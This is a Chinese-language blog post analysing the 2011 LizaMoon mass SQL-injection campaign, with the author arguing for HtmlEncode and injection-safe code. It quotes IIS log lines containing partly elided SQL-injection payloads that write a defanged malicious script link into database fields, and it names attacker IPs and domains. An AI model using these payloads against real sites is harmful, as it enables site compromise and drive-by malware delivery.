2011年3月31日 星期四

驚見SQL Injection攻擊大海嘯-LizaMoon - 黑暗執行緒

資安廠商Websense在3/29發佈了一則消息,一個被命名為LizaMoon的SQL Injection攻擊正在席捲全球,已有許多網站遭受攻擊,網頁內容中被塞了<script src=」httq: // lizamoon . com / ur . php」>疑似掛馬連結,

透過Google查詢lizamoon. com關鍵字,被稙入惡意連結的URL數在兩天內由28,000個急速增加到380,000個(2011/03/31 22:00 UTC+8時的資料),有如海嘯狂掃(Websense說:  it makes it one of the bigger mass-injection attacks we have ever seen.),甚至iTune網站也名列其中。不過,依據分析iTune中出現的惡意連結已被HtmlEncode為&lt;script不至產生危害,並且推斷中鏢資料下載自其他資訊源,並非iTune本身受害,而加上HtmlEncode的處置也深得Websense讚許。(HtmlEncode真的很重要! 由ASP.NET 4特別為它提供更簡潔的新語法就知道它被呼叫的頻率該有多高,如果你不知道為何它與資安有關,不妨看一下ASP.NET防駭指南)

httq: // lizamoon. com / ur . php這個URL目前是無效的(該不會因為被太多植入連結網站DDoS打掛了吧? XD),但網站是活的。在它曾經有效的一段期間,ur.php會傳回一段Script將使用者導向一個著名的假冒防毒網站,不過該網站也掛點中。Websense調查了lizamoon. com的底細,發現它是3/25才用假資料註冊的,換句話說,這波攻擊只花了短短幾天就污染了超過38萬個網址(以URL計,非網站數),而且開始注入開始出現lizamoon以外的網域名稱的Script連結網址。

目前網路上找到的資料尚少,無從推斷太多攻擊細節,不過我在ASP.NET官方討論區的一個討論串倒是找到不少蛛絲馬跡...

My database was inserted a string like "</title><script src=http:// lizamoon. com / ur . php></script>". Event(Even?) the username field in aspnet_users table. So now I can't login my website if I use asp.net security. Who know about this problem please tell me what happening with my database or my website.

由開場白看來,連aspnet_users的username欄位都被注入惡意script連結,非常像古早前看過的游擊式SQL Injection攻擊,攻擊程式將全部SQL指令濃縮成一列,隨意嘗試連上有帶QueryString參數並夾帶攻擊用的SQL指令加在網址後方,一旦該網頁有SQL Injection漏洞,則附加於參數中的SQL指令就會被執行,查詢SQL Server的sysobjects, syscolumns,列出所有的文字欄位,並透過UPDATE指令在所有文字欄位都插入惡意script連結,一旦這些欄位被讀取顯示在前端,又未經HtmlEncode轉換,網頁中就會包含<script src="惡意Script" />,所有連上該網站的訪客,都會被迫載入惡意Script執行邪惡任務。相關的原理在游擊式SQL Injection攻擊一文中已有詳細解說楚,這裡不再贅述。

不過,更進一步檢視討論串,倒有了不同的結論:

  • Same for us. We cleaned the code yesterday, and moments ago... the same. (會反覆中鏢,表示攻擊程式不只一隻? 或是程式會持續攻擊?)
  • 幾個可疑IP: 95.64.9.18(來自羅馬尼亞), 91.217.162.45(來自烏克蘭,著名的邪惡網路)
  • 網友提供珍貴的IISLog(進行入侵鑑識時,這是超重要的線索)

    2011-03-11 16:34:45 W3SVC1746246233 *MYSERVERIP* GET /dir/linkdetail.aspx id=11011+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+TABLE_NAME+not+in+(SELECT+TOP+0+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))-- 80 - 91.217.162.45 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) 500 0 0

    Doc.asp?id=PU12731+update+gCategoriasHistoricoTiposDescripciones+set+Descripcion=REPLACE(cast(Descripcion+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一個字元一個字元組出</title><script src=httq:// lazemoon .com / ur . php></script>…%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- - 95.64.9.18 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) - 302 498

    2011-03-29 17:56:49 <<my server ip address>> GET /<<pagename>>.asp prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一個字元一個字元組出</title><script src=httq:// lazemoon .com / ur . php></script>… %2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 80 - 95.64.9.18 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax)

    由這些Log來看,惡意SQL會鎖定特定Table及欄位,不像上回觀察用sysobjects, syscolumns+CURSOR亂槍打鳥,顯示本次攻擊並非打了就跑,會先掌握資料庫Schema的資訊後再精準下手,所以前後應有多次存取(不知道為什麼要選擇這種做法,我還是覺得游擊式的玩法比較有創意,唯一的缺點是Table、欄位及資料很多時,執行起來耗時較久)

  • 3/31起出現了非LizaMoon的網域用來掛ur.php (tadygus . com, verhoef – training. co. uk, t6ryt56 . info) ,顯示透過防火牆封鎖lizamoon. com也無法社絕使用者誤連惡意網站的可能。

雖然對LizaMoon SQL Injection充滿好奇,但依目前蒐集到的資料就只能做出以上推測,如果有新的發展再做補充囉。

老話一句,大家千萬不要把SQL Injection寫進程式裡變成害網站裸奔的豬頭呀! 看不懂? 請參見這裡

沒有留言:

張貼留言